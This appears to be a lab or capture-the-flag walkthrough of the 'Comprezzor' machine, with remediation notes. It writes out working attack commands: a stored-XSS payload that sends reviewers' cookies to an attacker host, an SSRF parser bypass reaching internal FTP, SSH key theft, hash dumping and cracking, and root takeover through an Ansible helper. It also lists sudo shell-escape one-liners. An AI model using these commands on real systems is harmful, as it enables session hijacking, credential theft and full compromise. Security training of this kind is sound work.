Intuition
Summary
I registered a free account on the Comprezzor bug-report portal and submitted a report containing a script that ran in staff reviewers' browsers. Because the session cookie was not marked HttpOnly, the script could read and exfiltrate it, first capturing a developer-role session and then, after I escalated the report's priority, an administrator session.
The admin-only PDF-report feature made the server fetch my own URL, and an outdated Python URL parser let that fetch be redirected to the internal FTP service. The FTP share held a backup containing an SSH private key, its passphrase, and the source of a privileged helper tool.
The key gave a direct SSH foothold. From there, a world-readable application database and intrusion-detection logs leaked more credentials, and a sudo-permitted Ansible-driving helper with a weak, brute-forceable authentication constant was abused to overwrite root's SSH authorized_keys, giving full root control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD6="<the-password-you-recovered>"
export PASSWORD7="<the-password-you-recovered, for tester1>"
export HASH="<the-hash-you-recovered>"
export HASH3="<the-hash-you-recovered>"Some commands also carry a value in angle brackets (<admin_cookie>, <baseline_size>, <id>, <recovered_auth_string>, <stolen_webdev_cookie>, <your-public-key>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Confirms only 22/tcp and 80/tcp are exposed.
$ nmap -sC -sV -p- $TARGETResolve the base domain and discovered vhosts locally.
$ echo "$TARGET comprezzor.htb auth.comprezzor.htb report.comprezzor.htb dashboard.comprezzor.htb" | sudo tee -a /etc/hostsVhost fuzzing against the base domain; filter out the default-response size.
$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.comprezzor.htb' -w /usr/share/wordlists/dirb/big.txt -fs <baseline_size>FixSanitize bug-report input and secure the session cookieCritical
Exact commands 5
Create a throwaway account.
$ curl -sS -i -H 'Host: auth.comprezzor.htb' -c cookies.txt -b cookies.txt -X POST --data "username=tester1&password=$PASSWORD7" http://$TARGET/registerLog in; server issues the non-HttpOnly user_data cookie.
$ curl -sS -i -H 'Host: auth.comprezzor.htb' -c cookies.txt -b cookies.txt -X POST --data "username=tester1&password=$PASSWORD7" http://$TARGET/loginListener to catch the cookie-exfil callback from the reviewer's browser.
$ nc -lvnp 8000Submit the stored-XSS payload; wait for the review bot to render it and callback with a cookie.
$ curl -sS -i -H 'Host: report.comprezzor.htb' -b cookies.txt -c cookies.txt -X POST --data-urlencode 'report_title=<img src=x onerror="fetch(`http://'"$ATTACKER_IP"':8000/?c=`+document.cookie)">' --data-urlencode 'description=test report' http://$TARGET/report_bugEscalate the ticket's priority to route it to the admin reviewer and repeat the capture to obtain an admin cookie.
$ curl -sS -H 'Host: report.comprezzor.htb' -H 'Cookie: user_data=<stolen_webdev_cookie>' -X POST http://$TARGET/change_priority?report_id=<id>&priority_level=1Exact commands 3
Confirm the SSRF callback and capture the Python-urllib User-Agent/version string.
$ python3 -m http.server 8001Leading space triggers the CVE-2023-24329 bypass; confirm the exact parameter/path from the page source first.
$ curl -sS -H 'Host: dashboard.comprezzor.htb' -H 'Cookie: user_data=<admin_cookie>' --data-urlencode "url= http://$ATTACKER_IP:8001/" http://$TARGET/create_pdf_reportReach the internal FTP share using the service account credentials found via this same primitive.
$ curl -sS -H 'Host: dashboard.comprezzor.htb' -H 'Cookie: user_data=<admin_cookie>' --data-urlencode "url= ftp://$USERNAME:$PASSWORD6@ftp.local/backup/" http://$TARGET/create_pdf_report -o ftp_listing.pdfFixEliminate the server-side URL-fetch SSRF and patch the Python runtimeCritical
Exact commands 4
Repair line-wrap/CRLF corruption introduced by the web-exposed retrieval.
$ sed 's/ -----END OPENSSH PRIVATE KEY-----/\n-----END OPENSSH PRIVATE KEY-----/' private_extracted.txt | tr -d '\r\f' > dev_acc.key; chmod 600 dev_acc.keyValidate the repaired key using the passphrase found alongside it on the share.
$ ssh-keygen -y -P '<passphrase_from_welcome_note.txt>' -f dev_acc.key > dev_acc.pub; ssh-keygen -lf dev_acc.pubConfirm the foothold before reading any flag.
$ ssh -i dev_acc.key dev_acc@$TARGET id
uid=1001(dev_acc) gid=1001(dev_acc) groups=1001(dev_acc)Returns <user.txt>.
$ ssh -i dev_acc.key dev_acc@$TARGET 'cat /home/dev_acc/user.txt'FixRemove plaintext key material and passphrases from shared storageHigh
Exact commands 3
Dump the stored password hashes.
$ ssh -i dev_acc.key dev_acc@$TARGET "sqlite3 -readonly /var/www/app/blueprints/auth/users.db 'select * from users;'"Mode for Werkzeug-style $HASH$salt$hash; crack the webdev/admin hashes offline.
$ hashcat -m 10900 admin_hash.txt /usr/share/wordlists/rockyou.txtRecover the cleartext FTP credential for lopez logged by the IDS.
$ ssh -i dev_acc.key dev_acc@$TARGET "zgrep -a 'ftp' /var/log/suricata/eve.json*.gz 2>/dev/null | grep -i lopez"FixRestrict permissions on the application database and IDS logsHigh
Exact commands 3
Brute-force the 4-char masked suffix against the embedded MD5 constant.
$ python3 -c "import hashlib,itertools,string\n target='$HASH3'\n prefix='<known_prefix_from_runner1.c>'\n for suf in itertools.product(string.ascii_uppercase+string.digits, repeat=4):\n s=prefix+''.join(suf)\n if hashlib.md5(s.encode()).hexdigest()==target:\n print(s); break"Invoke the privileged helper with a malicious playbook once authorized; adjust to runner1's real CLI usage.
$ ./runner1 '<recovered_auth_string>' '/opt/playbooks/escalate.yml'Playbook content: use the lineinfile/authorized_key module to append my public key to /root/.ssh/authorized_keys.
$ ansible-playbook -i /opt/playbooks/inventory.ini /opt/playbooks/escalate.ymlFixRemove the hardcoded authentication constant and tighten the privileged Ansible runnerCritical
Exact commands 2
Confirm root access before reading any flag.
$ ssh -i <your-public-key> root@$TARGET idReturns <root.txt>.
$ ssh -i <your-public-key> root@$TARGET 'cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary: e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.